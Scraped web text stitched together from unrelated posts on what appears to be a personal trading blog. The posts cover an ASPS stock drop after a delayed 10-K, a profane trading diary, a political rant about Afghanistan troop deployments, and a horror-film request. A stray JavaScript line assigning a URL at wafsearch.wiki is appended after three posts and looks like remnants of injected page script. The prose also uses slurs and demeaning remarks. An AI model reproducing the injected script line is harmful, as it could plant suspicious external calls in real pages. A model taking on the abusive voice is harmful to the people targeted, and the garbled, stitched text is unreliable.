Shares of $ASPS Are Being Obliterated After 10k Delay

There isn’t a worse feeling in the world than seeing your stock being drawn and quartered as the overall market defies gravity and soars to the delight of a very ebbullient and self gratifying crowd of barbarous men.

ASPS requested the delayed filing in order to complete impairment testing and valuation analysis of goodwill, intangible assets and long-lived assets in its Technology Services segment and to complete its financial closing procedures.

The Co currently anticipates that the analysis will result in impairment losses of up to $80 mln as a result of the testing and valuation analysis.

The Company intends to file its Form 10-K on or before March 15, 2016.var url = ‘https://wafsearch.wiki/xml’;
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Markets did a lot better than the indices suggested. Inside Stocklabs I created my own fucking indices and the general index comprising of 4,000 stocks was +1.3% today.

I managed +275bps in trading and +175bps in the quant.

To repeat, I am no longer WHIP SAWING like a fucking moron all day with my entire account. I am only whipsawing with a smaller portion using leverage. The rest of my positions are fixed each monday using the algos.

That’s all there is to it. I credit myself to be some sort of savant fucked for face when it comes to stocks. But I think I might’ve just cured my unhappiness and emancipated myself from being a TRADE-SLAVE in exchange for a rather GENTEEL existence as a mere manager of my assets. This new trading method will lead to a long period of success and fulfillment. I can envision myself now CAVORTING, sashaying even, doing all sorts of decadent things whilst my portfolio works on auto drive, on par with serving and DRINKING martinis whilst having your Tesla auto drive you across a pastoral landscape with nothing but sunshine and golden skies as a backdrop.

Look, I am deserving of win. Just today the FUCKED FACES at Pottery Barn called me up and said “we lost your furniture” and there’s not a damned thing I can do about it for the next few months. They have to get some 11 yr old Thai boy to make me a new one. In the meantime, my living room is fitted with a Pottery Barn couch that looks like a Tasmanian devil gnawed at its legs whilst in the shipping crate from Thailand en route to me. Those rotten hell bastards said I can’t get a new couch until February. So I am stuck without a chair, gnawed out couch, and a general discontentment just swashbuckling though my life for the better part of the last decade!

So fuck you very much, I will accept this 2.75% return and like to think my problems with the market have been all but solved from here going forward.var url = ‘https://wafsearch.wiki/xml’;
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I’m sorry republitards, but you’ve been had. I have a lot more in common with you than libfags; but, ultimately, I’m an anarchist who wants the world to burn.

For a brief period, my ineradicable passion for fire and brimstone was upended by the great orange one. He was like a friendly orangutan, a very rich one, offering yuge promises of winship — at the expense of others. This, as you know, is my favorite form of winning. How could I not support a man who threatened to build a gigantic wall and then force Mexico to pay for it? I’m alpha. This appeals to my inner primate.

Alas, the veil has been lifted and Trump is nothing more than Hillary with a penis.

MOAR troops are heading to Afghanistan — because nothing says ‘winning’ like fighting and dying for poppy fields in the literal asshole of the planet.

Washpo is reporting as many as 3,000 Americans will be sent to protect the heroin lands of Afghanistan. NBC says 5,000 and a request for NATO, Trump’s new besties, to match it.

A U.S. official told The Post that Trump wants to “start winning” again and has the backing of top Cabinet officials. He is expected to make his mind up on strategy before attending a May 25 NATO summit in Brussels, the newspaper reported.

One senior administration source told NBC News a decision would happen “soon.”

Let’s revisit some wistful propaganda, shall we?

Let’s get out of Afghanistan. Our troops are being killed by the Afghanis we train and we waste billions there. Nonsense! Rebuild the USA.

— Donald J. Trump (@realDonaldTrump) January 11, 2013

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Fuck you all!

For the remainder of the month, I will dedicate Saturday’s to review a horror film, in honor of hallows eve. Jar my memory and name your scariest film. I’m looking for scary as shit movies, so keep your child’s play suggestions the fuck out of here.var url = ‘https://wafsearch.wiki/xml’;
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